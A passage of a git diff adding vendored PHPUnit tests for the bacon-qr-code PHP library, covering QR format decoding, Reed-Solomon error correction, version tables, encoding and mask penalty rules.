FormatInformation::decodeFormatInformation( + $this->maskedTestFormatInfo ^ 0x3, + $this->maskedTestFormatInfo ^ 0x3 + ) + ); + $this->assertEquals( + $expected, + FormatInformation::decodeFormatInformation( + $this->maskedTestFormatInfo ^ 0x7, + $this->maskedTestFormatInfo ^ 0x7 + ) + ); + $this->assertNull( + FormatInformation::decodeFormatInformation( + $this->maskedTestFormatInfo ^ 0xf, + $this->maskedTestFormatInfo ^ 0xf + ) + ); + } + + public function testDecodeWithMisRead() + { + $expected = FormatInformation::decodeFormatInformation( + $this->maskedTestFormatInfo, + $this->maskedTestFormatInfo + ); + + $this->assertEquals( + $expected, + FormatInformation::decodeFormatInformation( + $this->maskedTestFormatInfo ^ 0x3, + $this->maskedTestFormatInfo ^ 0xf + ) + ); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ModeTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ModeTest.php new file mode 100644 index 00000000..4daab7c3 --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ModeTest.php @@ -0,0 +1,42 @@ +assertEquals(0x0, Mode::TERMINATOR); + $this->assertEquals(0x1, Mode::NUMERIC); + $this->assertEquals(0x2, Mode::ALPHANUMERIC); + $this->assertEquals(0x4, Mode::BYTE); + $this->assertEquals(0x8, Mode::KANJI); + } + + public function testInvalidModeThrowsException() + { + $this->setExpectedException( + 'BaconQrCode\Exception\UnexpectedValueException', + 'Value not a const in enum BaconQrCode\Common\Mode' + ); + new Mode(10); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ReedSolomonCodecTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ReedSolomonCodecTest.php new file mode 100644 index 00000000..604641a0 --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/ReedSolomonCodecTest.php @@ -0,0 +1,111 @@ +encode($block, $parity); + + // Copy parity into test blocks + for ($i = 0; $i < $numRoots; $i++) { + $block[$i + $dataSize] = $parity[$i]; + $tBlock[$i + $dataSize] = $parity[$i]; + } + + // Seed with errors + for ($i = 0; $i < $errors; $i++) { + $errorValue = mt_rand(1, $blockSize); + + do { + $errorLocation = mt_rand(0, $blockSize); + } while ($errorLocations[$errorLocation] !== 0); + + $errorLocations[$errorLocation] = 1; + + if (mt_rand(0, 1)) { + $erasures[] = $errorLocation; + } + + $tBlock[$errorLocation] ^= $errorValue; + } + + $erasures = SplFixedArray::fromArray($erasures, false); + + // Decode the errored block + $foundErrors = $codec->decode($tBlock, $erasures); + + if ($errors > 0 && $foundErrors === null) { + $this->assertEquals($block, $tBlock, 'Decoder failed to correct errors'); + } + + $this->assertEquals($errors, $foundErrors, 'Found errors do not equal expected errors'); + + for ($i = 0; $i < $foundErrors; $i++) { + if ($errorLocations[$erasures[$i]] === 0) { + $this->fail(sprintf('Decoder indicates error in location %d without error', $erasures[$i])); + } + } + + $this->assertEquals($block, $tBlock, 'Decoder did not correct errors'); + } + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/VersionTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/VersionTest.php new file mode 100644 index 00000000..8b3fc01f --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Common/VersionTest.php @@ -0,0 +1,88 @@ +assertNotNull($version); + $this->assertEquals($versionNumber, $version->getVersionNumber()); + $this->assertNotNull($version->getAlignmentPatternCenters()); + + if ($versionNumber > 1) { + $this->assertTrue(count($version->getAlignmentPatternCenters()) > 0); + } + + $this->assertEquals($dimension, $version->getDimensionForVersion()); + $this->assertNotNull($version->getEcBlocksForLevel(new ErrorCorrectionLevel(ErrorCorrectionLevel::H))); + $this->assertNotNull($version->getEcBlocksForLevel(new ErrorCorrectionLevel(ErrorCorrectionLevel::L))); + $this->assertNotNull($version->getEcBlocksForLevel(new ErrorCorrectionLevel(ErrorCorrectionLevel::M))); + $this->assertNotNull($version->getEcBlocksForLevel(new ErrorCorrectionLevel(ErrorCorrectionLevel::Q))); + $this->assertNotNull($version->buildFunctionPattern()); + } + + /** + * @dataProvider versionProvider + * @param integer $versionNumber + * @param integer $dimension + */ + public function testGetProvisionalVersionForDimension($versionNumber, $dimension) + { + $this->assertEquals( + $versionNumber, + Version::getProvisionalVersionForDimension($dimension)->getVersionNumber() + ); + } + + /** + * @dataProvider decodeInformationProvider + * @param integer $expectedVersion + * @param integer $mask + */ + public function testDecodeVersionInformation($expectedVersion, $mask) + { + $version = Version::decodeVersionInformation($mask); + $this->assertNotNull($version); + $this->assertEquals($expectedVersion, $version->getVersionNumber()); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/EncoderTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/EncoderTest.php new file mode 100644 index 00000000..31cdaa4e --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/EncoderTest.php @@ -0,0 +1,468 @@ +getMethods(ReflectionMethod::IS_STATIC) as $method) { + $method->setAccessible(true); + $this->methods[$method->getName()] = $method; + } + } + + public function testGetAlphanumericCode() + { + // The first ten code points are numbers. + for ($i = 0; $i < 10; $i++) { + $this->assertEquals($i, $this->methods['getAlphanumericCode']->invoke(null, ord('0') + $i)); + } + + // The next 26 code points are capital alphabet letters. + for ($i = 10; $i < 36; $i++) { + // The first ten code points are numbers + $this->assertEquals($i, $this->methods['getAlphanumericCode']->invoke(null, ord('A') + $i - 10)); + } + + // Others are symbol letters. + $this->assertEquals(36, $this->methods['getAlphanumericCode']->invoke(null, ' ')); + $this->assertEquals(37, $this->methods['getAlphanumericCode']->invoke(null, '$')); + $this->assertEquals(38, $this->methods['getAlphanumericCode']->invoke(null, '%')); + $this->assertEquals(39, $this->methods['getAlphanumericCode']->invoke(null, '*')); + $this->assertEquals(40, $this->methods['getAlphanumericCode']->invoke(null, '+')); + $this->assertEquals(41, $this->methods['getAlphanumericCode']->invoke(null, '-')); + $this->assertEquals(42, $this->methods['getAlphanumericCode']->invoke(null, '.')); + $this->assertEquals(43, $this->methods['getAlphanumericCode']->invoke(null, '/')); + $this->assertEquals(44, $this->methods['getAlphanumericCode']->invoke(null, ':')); + + // Should return -1 for other letters. + $this->assertEquals(-1, $this->methods['getAlphanumericCode']->invoke(null, 'a')); + $this->assertEquals(-1, $this->methods['getAlphanumericCode']->invoke(null, '#')); + $this->assertEquals(-1, $this->methods['getAlphanumericCode']->invoke(null, "\0")); + } + + public function testChooseMode() + { + // Numeric mode + $this->assertSame(Mode::NUMERIC, $this->methods['chooseMode']->invoke(null, '0')->get()); + $this->assertSame(Mode::NUMERIC, $this->methods['chooseMode']->invoke(null, '0123456789')->get()); + + // Alphanumeric mode + $this->assertSame(Mode::ALPHANUMERIC, $this->methods['chooseMode']->invoke(null, 'A')->get()); + $this->assertSame(Mode::ALPHANUMERIC, $this->methods['chooseMode']->invoke(null, '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:')->get()); + + // 8-bit byte mode + $this->assertSame(Mode::BYTE, $this->methods['chooseMode']->invoke(null, 'a')->get()); + $this->assertSame(Mode::BYTE, $this->methods['chooseMode']->invoke(null, '#')->get()); + $this->assertSame(Mode::BYTE, $this->methods['chooseMode']->invoke(null, '')->get()); + + // AIUE in Hiragana in SHIFT-JIS + $this->assertSame(Mode::BYTE, $this->methods['chooseMode']->invoke(null, "\x8\xa\x8\xa\x8\xa\x8\xa6")->get()); + + // Nihon in Kanji in SHIFT-JIS + $this->assertSame(Mode::BYTE, $this->methods['chooseMode']->invoke(null, "\x9\xf\x9\x7b")->get()); + + // Sou-Utso-Byou in Kanji in SHIFT-JIS + $this->assertSame(Mode::BYTE, $this->methods['chooseMode']->invoke(null, "\xe\x4\x9\x5\x9\x61")->get()); + } + + public function testEncode() + { + $qrCode = Encoder::encode('ABCDEF', new ErrorCorrectionLevel(ErrorCorrectionLevel::H)); + $expected = "<<\n" + . " mode: ALPHANUMERIC\n" + . " ecLevel: H\n" + . " version: 1\n" + . " maskPattern: 0\n" + . " matrix:\n" + . " 1 1 1 1 1 1 1 0 1 1 1 1 0 0 1 1 1 1 1 1 1\n" + . " 1 0 0 0 0 0 1 0 0 1 1 1 0 0 1 0 0 0 0 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 1 1 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 1 1 1 0 1 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 1 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 0 0 0 0 1 0 0 1 0 0 0 0 1 0 0 0 0 0 1\n" + . " 1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1\n" + . " 0 0 0 0 0 0 0 0 0 0 1 0 1 0 0 0 0 0 0 0 0\n" + . " 0 0 1 0 1 1 1 0 1 1 0 0 1 1 0 0 0 1 0 0 1\n" + . " 1 0 1 1 1 0 0 1 0 0 0 1 0 1 0 0 0 0 0 0 0\n" + . " 0 0 1 1 0 0 1 0 1 0 0 0 1 0 1 0 1 0 1 1 0\n" + . " 1 1 0 1 0 1 0 1 1 1 0 1 0 1 0 0 0 0 0 1 0\n" + . " 0 0 1 1 0 1 1 1 1 0 0 0 1 0 1 0 1 1 1 1 0\n" + . " 0 0 0 0 0 0 0 0 1 0 0 1 1 1 0 1 0 1 0 0 0\n" + . " 1 1 1 1 1 1 1 0 0 0 1 0 1 0 1 1 0 0 0 0 1\n" + . " 1 0 0 0 0 0 1 0 1 1 1 1 0 1 0 1 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 1 0 1 1 0 1 0 1 0 0 0 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 1 0 1 1 1 1 0 1 0 1 0\n" + . " 1 0 1 1 1 0 1 0 1 0 0 0 1 0 1 0 1 1 1 0 1\n" + . " 1 0 0 0 0 0 1 0 0 1 1 0 1 1 0 1 0 0 0 1 1\n" + . " 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 1 0 1 0 1\n" + . ">>\n"; + + $this->assertEquals($expected, $qrCode->__toString()); + } + + public function testSimpleUtf8Eci() + { + $qrCode = Encoder::encode('hello', new ErrorCorrectionLevel(ErrorCorrectionLevel::H), 'utf-8'); + $expected = "<<\n" + . " mode: BYTE\n" + . " ecLevel: H\n" + . " version: 1\n" + . " maskPattern: 3\n" + . " matrix:\n" + . " 1 1 1 1 1 1 1 0 0 0 0 0 0 0 1 1 1 1 1 1 1\n" + . " 1 0 0 0 0 0 1 0 0 0 1 0 1 0 1 0 0 0 0 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 1 0 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 1 0 1 0 1 0 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 1 0 1 0 1 0 1 0 1 1 1 0 1\n" + . " 1 0 0 0 0 0 1 0 0 0 0 0 1 0 1 0 0 0 0 0 1\n" + . " 1 1 1 1 1 1 1 0 1 0 1 0 1 0 1 1 1 1 1 1 1\n" + . " 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 0 0 0 0 0\n" + . " 0 0 1 1 0 0 1 1 1 1 0 0 0 1 1 0 1 0 0 0 0\n" + . " 0 0 1 1 1 0 0 0 0 0 1 1 0 0 0 1 0 1 1 1 0\n" + . " 0 1 0 1 0 1 1 1 0 1 0 1 0 0 0 0 0 1 1 1 1\n" + . " 1 1 0 0 1 0 0 1 1 0 0 1 1 1 1 0 1 0 1 1 0\n" + . " 0 0 0 0 1 0 1 1 1 1 0 0 0 0 0 1 0 0 1 0 0\n" + . " 0 0 0 0 0 0 0 0 1 1 1 1 0 0 1 1 1 0 0 0 1\n" + . " 1 1 1 1 1 1 1 0 1 1 1 0 1 0 1 1 0 0 1 0 0\n" + . " 1 0 0 0 0 0 1 0 0 0 1 0 0 1 1 1 1 1 1 0 1\n" + . " 1 0 1 1 1 0 1 0 0 1 0 0 0 0 1 1 0 0 0 0 0\n" + . " 1 0 1 1 1 0 1 0 1 1 1 0 1 0 0 0 1 1 0 0 0\n" + . " 1 0 1 1 1 0 1 0 1 1 0 0 0 1 0 0 1 0 0 0 0\n" + . " 1 0 0 0 0 0 1 0 0 0 0 1 1 0 1 0 1 0 1 1 0\n" + . " 1 1 1 1 1 1 1 0 0 1 0 1 1 1 0 1 1 0 0 0 0\n" + . ">>\n"; + + $this->assertEquals($expected, $qrCode->__toString()); + } + + public function testAppendModeInfo() + { + $bits = new BitArray(); + $this->methods['appendModeInfo']->invoke(null, new Mode(Mode::NUMERIC), $bits); + $this->assertEquals(' ...X', $bits->__toString()); + } + + public function testAppendLengthInfo() + { + // 1 letter (1/1), 10 bits. + $bits = new BitArray(); + $this->methods['appendLengthInfo']->invoke( + null, + 1, + Version::getVersionForNumber(1), + new Mode(Mode::NUMERIC), + $bits + ); + $this->assertEquals(' ........ .X', $bits->__toString()); + + // 2 letters (2/1), 11 bits. + $bits = new BitArray(); + $this->methods['appendLengthInfo']->invoke( + null, + 2, + Version::getVersionForNumber(10), + new Mode(Mode::ALPHANUMERIC), + $bits + ); + $this->assertEquals(' ........ .X.', $bits->__toString()); + + // 255 letters (255/1), 16 bits. + $bits = new BitArray(); + $this->methods['appendLengthInfo']->invoke( + null, + 255, + Version::getVersionForNumber(27), + new Mode(Mode::BYTE), + $bits + ); + $this->assertEquals(' ........ XXXXXXXX', $bits->__toString()); + + // 512 letters (1024/2), 12 bits. + $bits = new BitArray(); + $this->methods['appendLengthInfo']->invoke( + null, + 512, + Version::getVersionForNumber(40), + new Mode(Mode::KANJI), + $bits + ); + $this->assertEquals(' ..X..... ....', $bits->__toString()); + } + + public function testAppendBytes() + { + // Should use appendNumericBytes. + // 1 = 01 = 0001 in 4 bits. + $bits = new BitArray(); + $this->methods['appendBytes']->invoke( + null, + '1', + new Mode(Mode::NUMERIC), + $bits, + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->assertEquals(' ...X', $bits->__toString()); + + // Should use appendAlphaNumericBytes. + // A = 10 = 0xa = 001010 in 6 bits. + $bits = new BitArray(); + $this->methods['appendBytes']->invoke( + null, + 'A', + new Mode(Mode::ALPHANUMERIC), + $bits, + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->assertEquals(' ..X.X.', $bits->__toString()); + + // Should use append8BitBytes. + // 0x61, 0x62, 0x63 + $bits = new BitArray(); + $this->methods['appendBytes']->invoke( + null, + 'abc', + new Mode(Mode::BYTE), + $bits, + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->assertEquals(' .XX....X .XX...X. .XX...XX', $bits->__toString()); + + // Should use appendKanjiBytes. + // 0x93, 0x5f + $bits = new BitArray(); + $this->methods['appendBytes']->invoke( + null, + "\x93\x5f", + new Mode(Mode::KANJI), + $bits, + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + $this->assertEquals(' .XX.XX.. XXXXX', $bits->__toString()); + + // Lower letters such as 'a' cannot be encoded in alphanumeric mode. + $this->setExpectedException( + 'BaconQrCode\Exception\WriterException', + 'Invalid alphanumeric code' + ); + $this->methods['appendBytes']->invoke( + null, + "a", + new Mode(Mode::ALPHANUMERIC), + $bits, + Encoder::DEFAULT_BYTE_MODE_ECODING + ); + } + + public function testTerminateBits() + { + $bits = new BitArray(); + $this->methods['terminateBits']->invoke(null, 0, $bits); + $this->assertEquals('', $bits->__toString()); + + $bits = new BitArray(); + $this->methods['terminateBits']->invoke(null, 1, $bits); + $this->assertEquals(' ........', $bits->__toString()); + + $bits = new BitArray(); + $bits->appendBits(0, 3); + $this->methods['terminateBits']->invoke(null, 1, $bits); + $this->assertEquals(' ........', $bits->__toString()); + + $bits = new BitArray(); + $bits->appendBits(0, 5); + $this->methods['terminateBits']->invoke(null, 1, $bits); + $this->assertEquals(' ........', $bits->__toString()); + + $bits = new BitArray(); + $bits->appendBits(0, 8); + $this->methods['terminateBits']->invoke(null, 1, $bits); + $this->assertEquals(' ........', $bits->__toString()); + + $bits = new BitArray(); + $this->methods['terminateBits']->invoke(null, 2, $bits); + $this->assertEquals(' ........ XXX.XX..', $bits->__toString()); + + $bits = new BitArray(); + $bits->appendBits(0, 1); + $this->methods['terminateBits']->invoke(null, 3, $bits); + $this->assertEquals(' ........ XXX.XX.. ...X...X', $bits->__toString()); + } + + public function testGetNumDataBytesAndNumEcBytesForBlockId() + { + // Version 1-H. + list($numDataBytes, $numEcBytes) = $this->methods['getNumDataBytesAndNumEcBytesForBlockId']->invoke(null, 26, 9, 1, 0); + $this->assertEquals(9, $numDataBytes); + $this->assertEquals(17, $numEcBytes); + + // Version 3-H. 2 blocks. + list($numDataBytes, $numEcBytes) = $this->methods['getNumDataBytesAndNumEcBytesForBlockId']->invoke(null, 70, 26, 2, 0); + $this->assertEquals(13, $numDataBytes); + $this->assertEquals(22, $numEcBytes); + list($numDataBytes, $numEcBytes) = $this->methods['getNumDataBytesAndNumEcBytesForBlockId']->invoke(null, 70, 26, 2, 1); + $this->assertEquals(13, $numDataBytes); + $this->assertEquals(22, $numEcBytes); + + // Version 7-H. (4 + 1) blocks. + list($numDataBytes, $numEcBytes) = $this->methods['getNumDataBytesAndNumEcBytesForBlockId']->invoke(null, 196, 66, 5, 0); + $this->assertEquals(13, $numDataBytes); + $this->assertEquals(26, $numEcBytes); + list($numDataBytes, $numEcBytes) = $this->methods['getNumDataBytesAndNumEcBytesForBlockId']->invoke(null, 196, 66, 5, 4); + $this->assertEquals(14, $numDataBytes); + $this->assertEquals(26, $numEcBytes); + + // Version 40-H. (20 + 61) blocks. + list($numDataBytes, $numEcBytes) = $this->methods['getNumDataBytesAndNumEcBytesForBlockId']->invoke(null, 3706, 1276, 81, 0); + $this->assertEquals(15, $numDataBytes); + $this->assertEquals(30, $numEcBytes); + list($numDataBytes, $numEcBytes) = $this->methods['getNumDataBytesAndNumEcBytesForBlockId']->invoke(null, 3706, 1276, 81, 20); + $this->assertEquals(16, $numDataBytes); + $this->assertEquals(30, $numEcBytes); + list($numDataBytes, $numEcBytes) = $this->methods['getNumDataBytesAndNumEcBytesForBlockId']->invoke(null, 3706, 1276, 81, 80); + $this->assertEquals(16, $numDataBytes); + $this->assertEquals(30, $numEcBytes); + } + + public function testInterleaveWithEcBytes() + { + $dataBytes = SplFixedArray::fromArray(array(32, 65, 205, 69, 41, 220, 46, 128, 236), false); + $in = new BitArray(); + + foreach ($dataBytes as $dataByte) { + $in->appendBits($dataByte, 8); + } + + $outBits = $this->methods['interleaveWithEcBytes']->invoke(null, $in, 26, 9, 1); + $expected = SplFixedArray::fromArray(array( + // Data bytes. + 32, 65, 205, 69, 41, 220, 46, 128, 236, + // Error correction bytes. + 42, 159, 74, 221, 244, 169, 239, 150, 138, 70, 237, 85, 224, 96, 74, 219, 61, + ), false); + + $out = $outBits->toBytes(0, count($expected)); + + $this->assertEquals($expected, $out); + } + + public function testAppendNumericBytes() + { + // 1 = 01 = 0001 in 4 bits. + $bits = new BitArray(); + $this->methods['appendNumericBytes']->invoke(null, '1', $bits); + $this->assertEquals(' ...X', $bits->__toString()); + + // 12 = 0xc = 0001100 in 7 bits. + $bits = new BitArray(); + $this->methods['appendNumericBytes']->invoke(null, '12', $bits); + $this->assertEquals(' ...XX..', $bits->__toString()); + + // 123 = 0x7b = 0001111011 in 10 bits. + $bits = new BitArray(); + $this->methods['appendNumericBytes']->invoke(null, '123', $bits); + $this->assertEquals(' ...XXXX. XX', $bits->__toString()); + + // 1234 = "123" + "4" = 0001111011 + 0100 in 14 bits. + $bits = new BitArray(); + $this->methods['appendNumericBytes']->invoke(null, '1234', $bits); + $this->assertEquals(' ...XXXX. XX.X..', $bits->__toString()); + + // Empty + $bits = new BitArray(); + $this->methods['appendNumericBytes']->invoke(null, '', $bits); + $this->assertEquals('', $bits->__toString()); + } + + public function testAppendAlphanumericBytes() + { + $bits = new BitArray(); + $this->methods['appendAlphanumericBytes']->invoke(null, 'A', $bits); + $this->assertEquals(' ..X.X.', $bits->__toString()); + + $bits = new BitArray(); + $this->methods['appendAlphanumericBytes']->invoke(null, 'AB', $bits); + $this->assertEquals(' ..XXX..X X.X', $bits->__toString()); + + $bits = new BitArray(); + $this->methods['appendAlphanumericBytes']->invoke(null, 'ABC', $bits); + $this->assertEquals(' ..XXX..X X.X..XX. .', $bits->__toString()); + + // Empty + $bits = new BitArray(); + $this->methods['appendAlphanumericBytes']->invoke(null, '', $bits); + $this->assertEquals('', $bits->__toString()); + + // Invalid data + $this->setExpectedException('BaconQrCode\Exception\WriterException', 'Invalid alphanumeric code'); + $bits = new BitArray(); + $this->methods['appendAlphanumericBytes']->invoke(null, 'abc', $bits); + } + + public function testAppend8BitBytes() + { + // 0x61, 0x62, 0x63 + $bits = new BitArray(); + $this->methods['append8BitBytes']->invoke(null, 'abc', $bits, Encoder::DEFAULT_BYTE_MODE_ECODING); + $this->assertEquals(' .XX....X .XX...X. .XX...XX', $bits->__toString()); + + // Empty + $bits = new BitArray(); + $this->methods['append8BitBytes']->invoke(null, '', $bits, Encoder::DEFAULT_BYTE_MODE_ECODING); + $this->assertEquals('', $bits->__toString()); + } + + public function testAppendKanjiBytes() + { + // Numbers are from page 21 of JISX0510:2004 + $bits = new BitArray(); + $this->methods['appendKanjiBytes']->invoke(null, "\x93\x5f", $bits); + $this->assertEquals(' .XX.XX.. XXXXX', $bits->__toString()); + + $this->methods['appendKanjiBytes']->invoke(null, "\xe4\xaa", $bits); + $this->assertEquals(' .XX.XX.. XXXXXXX. X.X.X.X. X.', $bits->__toString()); + } + + public function testGenerateEcBytes() + { + // Numbers are from http://www.swetake.com/qr/qr3.html and + // http://www.swetake.com/qr/qr9.html + $dataBytes = SplFixedArray::fromArray(array(32, 65, 205, 69, 41, 220, 46, 128, 236), false); + $ecBytes = $this->methods['generateEcBytes']->invoke(null, $dataBytes, 17); + $expected = SplFixedArray::fromArray(array(42, 159, 74, 221, 244, 169, 239, 150, 138, 70, 237, 85, 224, 96, 74, 219, 61), false); + $this->assertEquals($expected, $ecBytes); + + $dataBytes = SplFixedArray::fromArray(array(67, 70, 22, 38, 54, 70, 86, 102, 118, 134, 150, 166, 182, 198, 214), false); + $ecBytes = $this->methods['generateEcBytes']->invoke(null, $dataBytes, 18); + $expected = SplFixedArray::fromArray(array(175, 80, 155, 64, 178, 45, 214, 233, 65, 209, 12, 155, 117, 31, 140, 214, 27, 187), false); + $this->assertEquals($expected, $ecBytes); + + // High-order zero coefficient case. + $dataBytes = SplFixedArray::fromArray(array(32, 49, 205, 69, 42, 20, 0, 236, 17), false); + $ecBytes = $this->methods['generateEcBytes']->invoke(null, $dataBytes, 17); + $expected = SplFixedArray::fromArray(array(0, 3, 130, 179, 194, 0, 55, 211, 110, 79, 98, 72, 170, 96, 211, 137, 213), false); + $this->assertEquals($expected, $ecBytes); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MaskUtilTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MaskUtilTest.php new file mode 100644 index 00000000..a5c38656 --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MaskUtilTest.php @@ -0,0 +1,281 @@ +fail('Data mask bit did not match'); + } + } + } + } + + public function testApplyMaskPenaltyRule1() + { + $matrix = new ByteMatrix(4, 1); + $matrix->set(0, 0, 0); + $matrix->set(1, 0, 0); + $matrix->set(2, 0, 0); + $matrix->set(3, 0, 0); + + $this->assertEquals(0, MaskUtil::applyMaskPenaltyRule1($matrix)); + + // Horizontal + $matrix = new ByteMatrix(6, 1); + $matrix->set(0, 0, 0); + $matrix->set(1, 0, 0); + $matrix->set(2, 0, 0); + $matrix->set(3, 0, 0); + $matrix->set(4, 0, 0); + $matrix->set(5, 0, 1); + $this->assertEquals(3, MaskUtil::applyMaskPenaltyRule1($matrix)); + $matrix->set(5, 0, 0); + $this->assertEquals(4, MaskUtil::applyMaskPenaltyRule1($matrix)); + + // Vertical + $matrix = new ByteMatrix(1, 6); + $matrix->set(0, 0, 0); + $matrix->set(0, 1, 0); + $matrix->set(0, 2, 0); + $matrix->set(0, 3, 0); + $matrix->set(0, 4, 0); + $matrix->set(0, 5, 1); + $this->assertEquals(3, MaskUtil::applyMaskPenaltyRule1($matrix)); + $matrix->set(0, 5, 0); + $this->assertEquals(4, MaskUtil::applyMaskPenaltyRule1($matrix)); + } + + public function testApplyMaskPenaltyRule2() + { + $matrix = new ByteMatrix(1, 1); + $matrix->set(0, 0, 0); + $this->assertEquals(0, MaskUtil::applyMaskPenaltyRule2($matrix)); + + $matrix = new ByteMatrix(2, 2); + $matrix->set(0, 0, 0); + $matrix->set(1, 0, 0); + $matrix->set(0, 1, 0); + $matrix->set(1, 1, 1); + $this->assertEquals(0, MaskUtil::applyMaskPenaltyRule2($matrix)); + + $matrix = new ByteMatrix(2, 2); + $matrix->set(0, 0, 0); + $matrix->set(1, 0, 0); + $matrix->set(0, 1, 0); + $matrix->set(1, 1, 0); + $this->assertEquals(3, MaskUtil::applyMaskPenaltyRule2($matrix)); + + $matrix = new ByteMatrix(3, 3); + $matrix->set(0, 0, 0); + $matrix->set(1, 0, 0); + $matrix->set(2, 0, 0); + $matrix->set(0, 1, 0); + $matrix->set(1, 1, 0); + $matrix->set(2, 1, 0); + $matrix->set(0, 2, 0); + $matrix->set(1, 2, 0); + $matrix->set(2, 2, 0); + $this->assertEquals(3 * 4, MaskUtil::applyMaskPenaltyRule2($matrix)); + } + + public function testApplyMaskPenalty3() + { + // Horizontal 00001011101 + $matrix = new ByteMatrix(11, 1); + $matrix->set(0, 0, 0); + $matrix->set(1, 0, 0); + $matrix->set(2, 0, 0); + $matrix->set(3, 0, 0); + $matrix->set(4, 0, 1); + $matrix->set(5, 0, 0); + $matrix->set(6, 0, 1); + $matrix->set(7, 0, 1); + $matrix->set(8, 0, 1); + $matrix->set(9, 0, 0); + $matrix->set(10, 0, 1); + $this->assertEquals(40, MaskUtil::applyMaskPenaltyRule3($matrix)); + + // Horizontal 10111010000 + $matrix = new ByteMatrix(11, 1); + $matrix->set(0, 0, 1); + $matrix->set(1, 0, 0); + $matrix->set(2, 0, 1); + $matrix->set(3, 0, 1); + $matrix->set(4, 0, 1); + $matrix->set(5, 0, 0); + $matrix->set(6, 0, 1); + $matrix->set(7, 0, 0); + $matrix->set(8, 0, 0); + $matrix->set(9, 0, 0); + $matrix->set(10, 0, 0); + $this->assertEquals(40, MaskUtil::applyMaskPenaltyRule3($matrix)); + + // Vertical 00001011101 + $matrix = new ByteMatrix(1, 11); + $matrix->set(0, 0, 0); + $matrix->set(0, 1, 0); + $matrix->set(0, 2, 0); + $matrix->set(0, 3, 0); + $matrix->set(0, 4, 1); + $matrix->set(0, 5, 0); + $matrix->set(0, 6, 1); + $matrix->set(0, 7, 1); + $matrix->set(0, 8, 1); + $matrix->set(0, 9, 0); + $matrix->set(0, 10, 1); + $this->assertEquals(40, MaskUtil::applyMaskPenaltyRule3($matrix)); + + // Vertical 10111010000 + $matrix = new ByteMatrix(1, 11); + $matrix->set(0, 0, 1); + $matrix->set(0, 1, 0); + $matrix->set(0, 2, 1); + $matrix->set(0, 3, 1); + $matrix->set(0, 4, 1); + $matrix->set(0, 5, 0); + $matrix->set(0, 6, 1); + $matrix->set(0, 7, 0); + $matrix->set(0, 8, 0); + $matrix->set(0, 9, 0); + $matrix->set(0, 10, 0); + $this->assertEquals(40, MaskUtil::applyMaskPenaltyRule3($matrix)); + } + + public function testApplyMaskPenaltyRule4() + { + // Dark cell ratio = 0% + $matrix = new ByteMatrix(1, 1); + $matrix->set(0, 0, 0); + $this->assertEquals(100, MaskUtil::applyMaskPenaltyRule4($matrix)); + + // Dark cell ratio = 5% + $matrix = new ByteMatrix(2, 1); + $matrix->set(0, 0, 0); + $matrix->set(0, 0, 1); + $this->assertEquals(0, MaskUtil::applyMaskPenaltyRule4($matrix)); + + // Dark cell ratio = 66.67% + $matrix = new ByteMatrix(6, 1); + $matrix->set(0, 0, 0); + $matrix->set(1, 0, 1); + $matrix->set(2, 0, 1); + $matrix->set(3, 0, 1); + $matrix->set(4, 0, 1); + $matrix->set(5, 0, 0); + $this->assertEquals(30, MaskUtil::applyMaskPenaltyRule4($matrix)); + } +} \ No newline at end of file diff --git a/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MatrixUtilTest.php b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MatrixUtilTest.php new file mode 100644 index 00000000..bf3544f0 --- /dev/null +++ b/vendor/bacon/bacon-qr-code/tests/BaconQrCode/Encoder/MatrixUtilTest.php @@ -0,0 +1,336 @@ +getMethods(ReflectionMethod::IS_STATIC) as $method) { + $method->setAccessible(true); + $this->methods[$method->getName()] = $method; + } + } + + public function testToString() + { + $matrix= new ByteMatrix(3, 3); + $matrix->set(0, 0, 0); + $matrix->set(1, 0, 1); + $matrix->set(2, 0, 0); + $matrix->set(0, 1, 1); + $matrix->set(1, 1, 0); + $matrix->set(2, 1, 1); + $matrix->set(0, 2, -1); + $matrix->set(1, 2, -1); + $matrix->set(2, 2, -1); + + $expected = " 0 1 0\n 1 0 1\n \n"; + $this->assertEquals($expected, $matrix->__toString()); + } + + public function testClearMatrix() + { + $matrix = new ByteMatrix(2, 2); + MatrixUtil::clearMatrix($matrix); + + $this->assertEquals(-1, $matrix->get(0, 0)); + $this->assertEquals(-1, $matrix->get(1, 0)); + $this->assertEquals(-1, $matrix->get(0, 1)); + 